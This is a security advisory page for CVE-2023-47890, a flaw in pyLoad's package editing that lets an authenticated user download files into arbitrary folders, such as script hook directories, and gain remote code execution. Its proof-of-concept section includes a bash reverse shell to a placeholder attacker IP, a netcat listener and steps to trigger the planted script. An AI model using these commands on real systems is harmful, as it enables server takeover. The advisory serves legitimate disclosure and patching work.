Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: GSA_kwCzR0hTQS1oNzNtLXBjZnctMjVoMs4AA3S3
Download to arbitrary folder can lead to RCE
Summary
A web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts.
Details
When a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can't traverse directories and stays within /downloads.
src/pyload/core/api/init.py::add_package::L432
folder = (
folder.replace("http://", "")
.replace("https://", "")
.replace(":", "")
.replace("/", "_")
.replace("\\", "_")
)
So if a package were created with the name "../"
the application would instead create the folder "/downloads/.._/"
However, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem.
src/pyload/webui/app/blueprints/json_blueprint.py::edit_package::L195
id = int(flask.request.form["pack_id"])
data = {
"name": flask.request.form["pack_name"],
"_folder": flask.request.form["pack_folder"],
"password": flask.request.form["pack_pws"],
}
api.set_package_data(id, data)
Steps to reproduce
- Login to a pyLoad instance
- Go to "Queue" and create a new package with any name and a valid link
- Click "Edit Package" on the newly created package and set the folder as "/config/scripts/download_finished/"
- Restart the package
- Check the server filesystem and note the link was downloaded and stored inside "/config/scripts/download_finished/"
Remote code execution proof-of-concept
It is possible to use this issue to abuse scripts and gain remote control over the pyLoad server.
On attacker machine
- Start a web server hosting a malicious script
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/<attacker_ip>/9999 0>&1' > evil.sh&1
sudo python3 -m http.server 80
- Start netcat listener for reverse shells
nc -vklp 9999
On pyLoad
-
Change pyLoad file permission settings
Change permissions of downloads: On
Permission mode for downloaded files: 0744 -
Create a package with link pointing to the attacker
http://<attacker_ip>/evil.sh
-
Edit package and change folder to /config/scripts/package_deleted/
-
Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoad
-
Delete any package package to trigger the script
Impact
An authenticated user can gain control over the underlying pyLoad server.
Permalink: https://github.com/advisories/GHSA-h73m-pcfw-25h2JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oNzNtLXBjZnctMjVoMs4AA3S3
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: about 1 year ago
Updated: about 1 year ago
CVSS Score: 7.7
CVSS vector: CVSS:3.1/AV:A/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
EPSS Percentage: 0.00078
EPSS Percentile: 0.35855
Identifiers: GHSA-h73m-pcfw-25h2, CVE-2023-47890
References:
- https://github.com/pyload/pyload/security/advisories/GHSA-h73m-pcfw-25h2
- https://github.com/pyload/pyload/commit/695bb70cd88608dc4fee18a6a7ecb66722ebfd8f
- https://nvd.nist.gov/vuln/detail/CVE-2023-47890
- http://pyload.com
- https://github.com/advisories/GHSA-h73m-pcfw-25h2
Blast Radius: 0.0
Affected Packages
pypi:pyload-ng
Dependent packages: 1Dependent repositories: 1
Downloads: 4,697 last month
Affected Version Ranges: < 0.5.0b3.dev75
Fixed in: 0.5.0b3.dev75
All affected versions: 0.5.0-a5.dev528, 0.5.0-a5.dev532, 0.5.0-a5.dev535, 0.5.0-a5.dev536, 0.5.0-a5.dev537, 0.5.0-a5.dev539, 0.5.0-a5.dev540, 0.5.0-a5.dev545, 0.5.0-a5.dev562, 0.5.0-a5.dev564, 0.5.0-a5.dev565, 0.5.0-a6.dev570, 0.5.0-a6.dev578, 0.5.0-a6.dev587, 0.5.0-a7.dev596, 0.5.0-a8.dev602, 0.5.0-a9.dev615, 0.5.0-a9.dev629, 0.5.0-a9.dev632, 0.5.0-a9.dev641, 0.5.0-a9.dev643, 0.5.0-a9.dev655, 0.5.0-a9.dev806, 0.5.0-b1.dev1, 0.5.0-b1.dev2, 0.5.0-b1.dev3, 0.5.0-b1.dev4, 0.5.0-b1.dev5, 0.5.0-b2.dev9, 0.5.0-b2.dev10, 0.5.0-b2.dev11, 0.5.0-b2.dev12, 0.5.0-b3.dev13, 0.5.0-b3.dev14, 0.5.0-b3.dev17, 0.5.0-b3.dev18, 0.5.0-b3.dev19, 0.5.0-b3.dev20, 0.5.0-b3.dev21, 0.5.0-b3.dev22, 0.5.0-b3.dev24, 0.5.0-b3.dev26, 0.5.0-b3.dev27, 0.5.0-b3.dev28, 0.5.0-b3.dev29, 0.5.0-b3.dev30, 0.5.0-b3.dev31, 0.5.0-b3.dev32, 0.5.0-b3.dev33, 0.5.0-b3.dev34, 0.5.0-b3.dev35, 0.5.0-b3.dev38, 0.5.0-b3.dev39, 0.5.0-b3.dev40, 0.5.0-b3.dev41, 0.5.0-b3.dev42, 0.5.0-b3.dev43, 0.5.0-b3.dev44, 0.5.0-b3.dev45, 0.5.0-b3.dev46, 0.5.0-b3.dev47, 0.5.0-b3.dev48, 0.5.0-b3.dev49, 0.5.0-b3.dev50, 0.5.0-b3.dev51, 0.5.0-b3.dev52, 0.5.0-b3.dev53, 0.5.0-b3.dev54, 0.5.0-b3.dev57, 0.5.0-b3.dev60, 0.5.0-b3.dev62, 0.5.0-b3.dev64, 0.5.0-b3.dev65, 0.5.0-b3.dev66, 0.5.0-b3.dev67, 0.5.0-b3.dev68, 0.5.0-b3.dev69, 0.5.0-b3.dev70, 0.5.0-b3.dev71, 0.5.0-b3.dev72, 0.5.0-b3.dev73, 0.5.0-b3.dev74
All unaffected versions: